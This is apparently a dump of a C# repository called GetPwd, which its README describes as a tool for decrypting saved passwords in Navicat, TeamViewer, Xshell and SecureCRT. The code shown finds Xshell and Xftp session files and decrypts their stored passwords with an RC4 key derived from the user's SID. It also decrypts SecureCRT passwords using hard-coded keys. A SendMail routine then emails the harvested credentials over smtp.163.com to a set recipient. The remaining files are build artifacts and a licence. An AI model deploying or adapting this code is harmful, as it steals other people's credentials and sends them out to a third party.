51 | _aes.IV = (byte[])(object)new sbyte[16];//Encoding.UTF8.GetBytes(IV);
52 | _aes.Padding = PaddingMode.PKCS7;
53 | _aes.Mode = CipherMode.CBC;
54 |
55 | byte[] decryptBytes = System.Convert.FromBase64String(decryptStr);
56 |
57 | var _crypto = _aes.CreateDecryptor(_aes.Key, _aes.IV);
58 | byte[] decrypted = _crypto.TransformFinalBlock(decryptBytes, 0, decryptBytes.Length);
59 | _crypto.Dispose();
60 | return Encoding.UTF8.GetString(decrypted);
61 |
62 | }
63 |
64 | public static string AESEncrypt(string encryptStr)
65 | {
66 | var _aes = new AesCryptoServiceProvider();
67 | _aes.BlockSize = 128;
68 | _aes.KeySize = 256;
69 | _aes.Key = Key_V2;
70 | _aes.IV = (byte[])(object)new sbyte[16];//Encoding.UTF8.GetBytes(IV);
71 | _aes.Padding = PaddingMode.PKCS7;
72 | _aes.Mode = CipherMode.CBC;
73 |
74 | var _crypto = _aes.CreateEncryptor(_aes.Key, _aes.IV);
75 | byte[] encrypted = _crypto.TransformFinalBlock(Encoding.UTF8.GetBytes(encryptStr), 0, Encoding.UTF8.GetBytes(encryptStr).Length);
76 |
77 | _crypto.Dispose();
78 |
79 | return System.Convert.ToBase64String(encrypted);
80 | }
81 |
82 | public static string V2CRT(string str) {
83 | byte[] IV = {
84 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
85 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
86 | };
87 | byte[] ciphered_bytes = fromhex(str);
88 | if (ciphered_bytes.Length <= 8)
89 | {
90 | return null;
91 | }
92 | return AESDecrypt(Convert.ToBase64String(ciphered_bytes), Key_V2);
93 | }
94 |
95 | public static string PasswordCRT(string str) {
96 | byte[] ciphered_bytes = fromhex(str);
97 | if (ciphered_bytes.Length <= 8) {
98 | return null;
99 | }
100 |
101 | BlowFishC algo = new BlowFishC(Key1);
102 | algo.IV = IV;
103 | byte[] decryptedTxt = algo.Decrypt_CBC(ciphered_bytes);
104 | decryptedTxt = decryptedTxt.Skip(4).Take(decryptedTxt.Length - 8).ToArray();
105 |
106 | algo = new BlowFishC(Key2);
107 | algo.IV = IV;
108 | ciphered_bytes = algo.Decrypt_CBC(decryptedTxt);
109 | string ciphered = Findnull(ciphered_bytes);
110 |
111 | return ciphered;
112 | }
113 |
114 | }
115 | }
116 |
--------------------------------------------------------------------------------
/GetPwd/SendMail.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Net.Mail;
3 | using System.Net.Mime;
4 | using System.IO;
5 | using System.Net;
6 | using System.Text;
7 |
8 | namespace GetPwd
9 | {
10 | class SendMail
11 | {
12 | public static void Send(StringBuilder text)
13 | {
14 | try{
15 | string uid = "";//发件人邮箱地址@符号前面的字符tom@dddd.com,则为"tom"
16 | string pwd = "";//发件人密码
17 |
18 | MailAddress from = new MailAddress("tom@163.com");//发件人
19 | MailAddress to = new MailAddress("tom@qq.com");//收件人
20 | MailMessage mailMessage = new MailMessage(from, to);
21 | mailMessage.Subject = "PassWord Comming!";//邮件主题
22 | mailMessage.Body = text.ToString();//邮件正文
23 |
24 | //实例化SmtpClient
25 | SmtpClient smtpClient = new SmtpClient("smtp.163.com", 25); //发件人SMTP通信服务器
26 | //设置为发送认证消息
27 | smtpClient.UseDefaultCredentials = true;
28 | //设置验证发件人身份的凭据
29 | smtpClient.Credentials = new NetworkCredential(uid, pwd);
30 | //发送
31 | smtpClient.Send(mailMessage);
32 |
33 | Console.WriteLine("Send Mail OK!");
34 | }catch (Exception) {
35 | Console.WriteLine("Send Mail Error!");
36 | }
37 | }
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/GetPwd/XmangagerCrypt.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Security.Cryptography;
5 | using System.Text;
6 |
7 | namespace GetPwd
8 | {
9 | class XmangagerCrypt
10 | {
11 | public void Xmangager(string path, string UserSid)
12 | {
13 | string sourse = File.ReadAllText(path);
14 | string arg = MidStrEx(sourse, "Host=", "\r\n");
15 | string arg2 = MidStrEx(sourse, "[CONNECTION]\r\nPort=", "\r\n");
16 | string arg3 = MidStrEx(sourse, "UserName=", "\r\n");
17 | string text = MidStrEx(sourse, "Password=", "\r\n");
18 | string arg4 = MidStrEx(sourse, "[SessionInfo]\r\nVersion=", "\r\n");
19 | if (text != null && text != "")
20 | {
21 | byte[] array = Convert.FromBase64String(text);
22 | byte[] pwd = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(UserSid));
23 | byte[] array2 = new byte[array.Length - 32];
24 | Array.Copy(array, 0, array2, 0, array.Length - 32);
25 | byte[] bytes = RC4.Decrypt(pwd, array2);
26 | Console.WriteLine("[+] Session File:" + path);
27 | Console.WriteLine(" Host: {0}", arg);
28 | Console.WriteLine(" Port: {0}", arg2);
29 | Console.WriteLine(" UserName: {0}", arg3);
30 | Console.WriteLine(" Version: {0}", arg4);
31 | Console.WriteLine(" Password: {0}", text);
32 | Console.WriteLine(" UserSid(Key): {0}", UserSid);
33 | Console.WriteLine(" Decrypt: {0}", Encoding.ASCII.GetString(bytes));
34 | }
35 | }
36 |
37 | public static string MidStrEx(string sourse, string startstr, string endstr)
38 | {
39 | string empty = string.Empty;
40 | int num = sourse.IndexOf(startstr);
41 | if (num == -1)
42 | {
43 | return empty;
44 | }
45 | string text = sourse.Substring(num + startstr.Length);
46 | int num2 = text.IndexOf(endstr);
47 | if (num2 == -1)
48 | {
49 | return empty;
50 | }
51 | return text.Remove(num2);
52 | }
53 |
54 | public static string getlnk()
55 | {
56 | IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell();
57 | IWshRuntimeLibrary.IWshShortcut shortcut = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(@"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Xshell 6\Xagent.lnk");
58 | return shortcut.TargetPath.Replace("Xagent.exe", "");
59 | }
60 |
61 | public static List checkPath()
62 | {
63 | List pathlist = new List(){
64 | Environment.GetEnvironmentVariable("USERPROFILE")+@"\Documents\NetSarang\Xshell\Sessions",
65 | Environment.GetEnvironmentVariable("USERPROFILE")+@"\Documents\NetSarang\Xftp\Sessions",
66 | Environment.GetEnvironmentVariable("USERPROFILE")+@"\Documents\NetSarang Computer\6\Xshell\Sessions",
67 | Environment.GetEnvironmentVariable("USERPROFILE")+@"\Documents\NetSarang Computer\6\Xftp\Sessions",
68 | getlnk()+@"\log\Xshell\Sessions"
69 | };
70 | List xshpathlist = new List();
71 | foreach (string path in pathlist)
72 | {
73 | if (Directory.Exists(path))//判断是否存在
74 | {
75 | DirectoryInfo directoryInfo = new DirectoryInfo(path);
76 | FileInfo[] files = directoryInfo.GetFiles();
77 | foreach (FileInfo fileInfo in files)
78 | {
79 | string name = fileInfo.Name;
80 | if (fileInfo.Extension.Equals(".xsh"))
81 | {
82 | string path2 = path + "\\" + name;
83 | xshpathlist.Add(path2);
84 | }
85 | }
86 | }
87 | }
88 | return xshpathlist;
89 | }
90 |
91 | public static string ConvertByteToStringSid(Byte[] sidBytes)
92 | {
93 | StringBuilder strSid = new StringBuilder();
94 | strSid.Append("S-");
95 | try
96 | {
97 | // Add SID revision.
98 | strSid.Append(sidBytes[0].ToString());
99 | // Next six bytes are SID authority value.
100 | if (sidBytes[6] != 0 || sidBytes[5] != 0)
101 | {
102 | string strAuth = String.Format
103 | ("0x{0:2x}{1:2x}{2:2x}{3:2x}{4:2x}{5:2x}",
104 | (Int16)sidBytes[1],
105 | (Int16)sidBytes[2],
106 | (Int16)sidBytes[3],
107 | (Int16)sidBytes[4],
108 | (Int16)sidBytes[5],
109 | (Int16)sidBytes[6]);
110 | strSid.Append("-");
111 | strSid.Append(strAuth);
112 | }
113 | else
114 | {
115 | Int64 iVal = (Int32)(sidBytes[1]) +
116 | (Int32)(sidBytes[2] << 8) +
117 | (Int32)(sidBytes[3] << 16) +
118 | (Int32)(sidBytes[4] << 24);
119 | strSid.Append("-");
120 | strSid.Append(iVal.ToString());
121 | }
122 |
123 | // Get sub authority count...
124 | int iSubCount = Convert.ToInt32(sidBytes[7]);
125 | int idxAuth = 0;
126 | for (int i = 0; i < iSubCount; i++)
127 | {
128 | idxAuth = 8 + i * 4;
129 | UInt32 iSubAuth = BitConverter.ToUInt32(sidBytes, idxAuth);
130 | strSid.Append("-");
131 | strSid.Append(iSubAuth.ToString());
132 | }
133 | }
134 | catch (Exception ex)
135 | {
136 | System.Diagnostics.Trace.Write(ex.Message);
137 | return "";
138 | }
139 | return strSid.ToString();
140 | }
141 | }
142 |
143 |
144 | public class RC4
145 | {
146 | public static byte[] Encrypt(byte[] pwd, byte[] data)
147 | {
148 | int[] array = new int[256];
149 | int[] array2 = new int[256];
150 | byte[] array3 = new byte[data.Length];
151 | int i;
152 | for (i = 0; i < 256; i++)
153 | {
154 | array[i] = pwd[i % pwd.Length];
155 | array2[i] = i;
156 | }
157 | int num = i = 0;
158 | for (; i < 256; i++)
159 | {
160 | num = (num + array2[i] + array[i]) % 256;
161 | int num2 = array2[i];
162 | array2[i] = array2[num];
163 | array2[num] = num2;
164 | }
165 | int num3 = num = (i = 0);
166 | for (; i < data.Length; i++)
167 | {
168 | num3++;
169 | num3 %= 256;
170 | num += array2[num3];
171 | num %= 256;
172 | int num2 = array2[num3];
173 | array2[num3] = array2[num];
174 | array2[num] = num2;
175 | int num4 = array2[(array2[num3] + array2[num]) % 256];
176 | array3[i] = (byte)(data[i] ^ num4);
177 | }
178 | return array3;
179 | }
180 |
181 | public static byte[] Decrypt(byte[] pwd, byte[] data)
182 | {
183 | return Encrypt(pwd, data);
184 | }
185 | }
186 | }
187 |
--------------------------------------------------------------------------------
/GetPwd/bin/Debug/GetPwd.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/GetPwd/bin/Debug/GetPwd.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/GetPwd/bin/Debug/GetPwd.pdb
--------------------------------------------------------------------------------
/GetPwd/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs:
--------------------------------------------------------------------------------
1 | //
2 | using System;
3 | using System.Reflection;
4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")]
5 |
--------------------------------------------------------------------------------
/GetPwd/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/GetPwd/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/GetPwd/obj/Debug/GetPwd.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | 2f6acba32714e6bded48a14fbebfb70e3baa7f26
2 |
--------------------------------------------------------------------------------
/GetPwd/obj/Debug/GetPwd.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\DELL\source\repos\GetPwd\GetPwd\bin\Debug\GetPwd.exe.config
2 | C:\Users\DELL\source\repos\GetPwd\GetPwd\bin\Debug\GetPwd.exe
3 | C:\Users\DELL\source\repos\GetPwd\GetPwd\bin\Debug\GetPwd.pdb
4 | C:\Users\DELL\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.csprojAssemblyReference.cache
5 | C:\Users\DELL\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.csproj.CoreCompileInputs.cache
6 | C:\Users\DELL\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.exe
7 | C:\Users\DELL\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.pdb
8 | C:\Users\DELL\source\repos\GetPwd\GetPwd\obj\Debug\Interop.IWshRuntimeLibrary.dll
9 | C:\Users\DELL\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.csproj.ResolveComReference.cache
10 | C:\Users\wh4am\source\repos\GetPwd\GetPwd\bin\Debug\GetPwd.exe.config
11 | C:\Users\wh4am\source\repos\GetPwd\GetPwd\bin\Debug\GetPwd.exe
12 | C:\Users\wh4am\source\repos\GetPwd\GetPwd\bin\Debug\GetPwd.pdb
13 | C:\Users\wh4am\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.csprojAssemblyReference.cache
14 | C:\Users\wh4am\source\repos\GetPwd\GetPwd\obj\Debug\Interop.IWshRuntimeLibrary.dll
15 | C:\Users\wh4am\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.csproj.ResolveComReference.cache
16 | C:\Users\wh4am\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.csproj.CoreCompileInputs.cache
17 | C:\Users\wh4am\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.exe
18 | C:\Users\wh4am\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.pdb
19 |
--------------------------------------------------------------------------------
/GetPwd/obj/Debug/GetPwd.csproj.ResolveComReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/GetPwd/obj/Debug/GetPwd.csproj.ResolveComReference.cache
--------------------------------------------------------------------------------
/GetPwd/obj/Debug/GetPwd.csprojAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/GetPwd/obj/Debug/GetPwd.csprojAssemblyReference.cache
--------------------------------------------------------------------------------
/GetPwd/obj/Debug/GetPwd.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/GetPwd/obj/Debug/GetPwd.pdb
--------------------------------------------------------------------------------
/GetPwd/obj/Debug/Interop.IWshRuntimeLibrary.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/GetPwd/obj/Debug/Interop.IWshRuntimeLibrary.dll
--------------------------------------------------------------------------------
/GetPwd/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/GetPwd/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
--------------------------------------------------------------------------------
/GetPwd/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/GetPwd/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
--------------------------------------------------------------------------------
/GetPwd/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/GetPwd/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # GetPwd
2 | 用CSharp写的一款信息搜集工具,目前支持Navicat、TeamView、Xshell、SecureCRT产品的密码解密
3 |
4 | 详情可以看:https://www.cnblogs.com/wh4am1/p/12898112.html
5 |
--------------------------------------------------------------------------------